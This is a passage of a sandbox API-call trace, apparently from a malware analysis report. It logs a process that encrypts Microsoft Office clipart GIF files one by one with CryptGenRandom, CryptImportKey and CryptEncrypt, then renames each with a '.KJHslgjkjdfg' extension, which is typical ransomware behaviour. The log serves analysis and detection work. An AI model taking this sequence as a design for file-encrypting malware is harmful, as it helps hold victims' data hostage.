pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.821] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x167, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x167, lpOverlapped=0x0) returned 1 [0218.821] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x170, dwBufLen=0x170 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x170) returned 1 [0218.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.821] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x170, lpOverlapped=0x0) returned 1 [0218.821] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.821] SetEndOfFile (hFile=0x130) returned 1 [0218.825] GetProcessHeap () returned 0x990000 [0218.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.825] GetProcessHeap () returned 0x990000 [0218.825] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.825] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.kjhslgjkjdfg")) returned 1 [0218.828] CloseHandle (hObject=0x130) returned 1 [0218.829] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa57200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbfa57200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01239_.GIF", cAlternateFileName="")) returned 1 [0218.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.830] GetProcessHeap () returned 0x990000 [0218.830] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.830] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.830] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0218.832] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.832] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.832] GetProcessHeap () returned 0x990000 [0218.832] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.832] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.832] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.832] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.832] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.832] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.832] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.832] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.833] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.833] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.833] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.833] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x19a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x19a, lpOverlapped=0x0) returned 1 [0218.833] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a0, dwBufLen=0x1a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a0) returned 1 [0218.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.833] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a0, lpOverlapped=0x0) returned 1 [0218.833] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.833] SetEndOfFile (hFile=0x130) returned 1 [0218.836] GetProcessHeap () returned 0x990000 [0218.836] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.836] GetProcessHeap () returned 0x990000 [0218.836] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01239_.gif.kjhslgjkjdfg")) returned 1 [0218.839] CloseHandle (hObject=0x130) returned 1 [0218.839] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d80d00, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1d80d00, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01240_.GIF", cAlternateFileName="")) returned 1 [0218.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.844] GetProcessHeap () returned 0x990000 [0218.844] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.844] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.844] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0218.846] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.846] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.846] GetProcessHeap () returned 0x990000 [0218.846] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.846] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.846] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.846] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.847] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.847] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.847] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.847] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.847] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.847] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.847] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14d, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14d, lpOverlapped=0x0) returned 1 [0218.847] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x150, dwBufLen=0x150 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x150) returned 1 [0218.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.847] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x150, lpOverlapped=0x0) returned 1 [0218.848] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.848] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.848] SetEndOfFile (hFile=0x130) returned 1 [0218.850] GetProcessHeap () returned 0x990000 [0218.850] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.850] GetProcessHeap () returned 0x990000 [0218.850] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01240_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01240_.gif.kjhslgjkjdfg")) returned 1 [0218.852] CloseHandle (hObject=0x130) returned 1 [0218.853] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866d0200, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x866d0200, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01241_.GIF", cAlternateFileName="")) returned 1 [0218.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.854] GetProcessHeap () returned 0x990000 [0218.854] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.854] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.854] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0218.856] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.856] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.856] GetProcessHeap () returned 0x990000 [0218.856] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.856] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.856] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.856] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.857] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.857] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.857] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.857] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.857] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.857] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.857] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x182, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x182, lpOverlapped=0x0) returned 1 [0218.857] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x190, dwBufLen=0x190 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x190) returned 1 [0218.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.857] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x190, lpOverlapped=0x0) returned 1 [0218.858] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.858] SetEndOfFile (hFile=0x130) returned 1 [0218.860] GetProcessHeap () returned 0x990000 [0218.860] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.860] GetProcessHeap () returned 0x990000 [0218.860] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01241_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01241_.gif.kjhslgjkjdfg")) returned 1 [0218.906] CloseHandle (hObject=0x130) returned 1 [0218.906] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e14c700, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e14c700, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01242_.GIF", cAlternateFileName="")) returned 1 [0218.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01242_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01242_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.908] GetProcessHeap () returned 0x990000 [0218.908] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.908] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.909] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.909] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.910] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.910] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.910] GetProcessHeap () returned 0x990000 [0218.910] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.910] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.910] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.910] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.910] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.910] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.911] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.911] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.911] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.911] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.911] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x158, lpOverlapped=0x0) returned 1 [0218.911] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x160, dwBufLen=0x160 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x160) returned 1 [0218.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.911] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x160, lpOverlapped=0x0) returned 1 [0218.911] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.911] SetEndOfFile (hFile=0x130) returned 1 [0218.913] GetProcessHeap () returned 0x990000 [0218.913] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.913] GetProcessHeap () returned 0x990000 [0218.913] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: 